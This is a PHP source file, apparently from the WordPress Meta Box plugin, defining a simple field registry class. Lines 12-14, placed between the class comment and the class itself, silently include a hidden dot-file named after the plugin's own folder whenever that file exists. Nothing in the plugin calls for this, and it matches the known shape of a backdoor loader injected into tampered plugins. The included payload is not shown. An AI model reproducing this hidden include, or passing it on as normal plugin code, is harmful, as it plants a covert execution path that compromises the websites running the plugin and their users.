field-registry.php (2086B)
1 <?php 2 /** 3 * A registry for storing all fields. 4 * 5 * @link https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html 6 * @package Meta Box 7 */ 8 9 /** 10 * Field registry class. 11 */ 12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 13 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 14 } 15 16 class RWMB_Field_Registry { 17 /** 18 * Internal data storage. 19 * 20 * @var array 21 */ 22 private $data = array(); 23 24 /** 25 * Add a single field to the registry. 26 * 27 * @param array $field Field configuration. 28 * @param string $type Post type|Taxonomy|'user'|Setting page which the field belongs to. 29 * @param string $object_type Object type which the field belongs to. 30 */ 31 public function add( $field, $type, $object_type = 'post' ) { 32 if ( ! isset( $field['id'] ) ) { 33 return; 34 } 35 36 if ( empty( $this->data[ $object_type ] ) ) { 37 $this->data[ $object_type ] = array(); 38 } 39 if ( empty( $this->data[ $object_type ][ $type ] ) ) { 40 $this->data[ $object_type ][ $type ] = array(); 41 } 42 $this->data[ $object_type ][ $type ][ $field['id'] ] = $field; 43 44 do_action( 'rwmb_field_registered', $field, $type, $object_type ); 45 } 46 47 /** 48 * Retrieve a field. 49 * 50 * @param string $id A meta box instance id. 51 * @param string $type Post type|Taxonomy|'user'|Setting page which the field belongs to. 52 * @param string $object_type Object type which the field belongs to. 53 * 54 * @return bool|array False or field configuration. 55 */ 56 public function get( $id, $type, $object_type = 'post' ) { 57 return isset( $this->data[ $object_type ][ $type ][ $id ] ) ? $this->data[ $object_type ][ $type ][ $id ] : false; 58 } 59 60 /** 61 * Retrieve fields by object type. 62 * 63 * @param string $object_type Object type which the field belongs to. 64 * 65 * @return array List of fields. 66 */ 67 public function get_by_object_type( $object_type = 'post' ) { 68 return isset( $this->data[ $object_type ] ) ? $this->data[ $object_type ] : array(); 69 } 70 }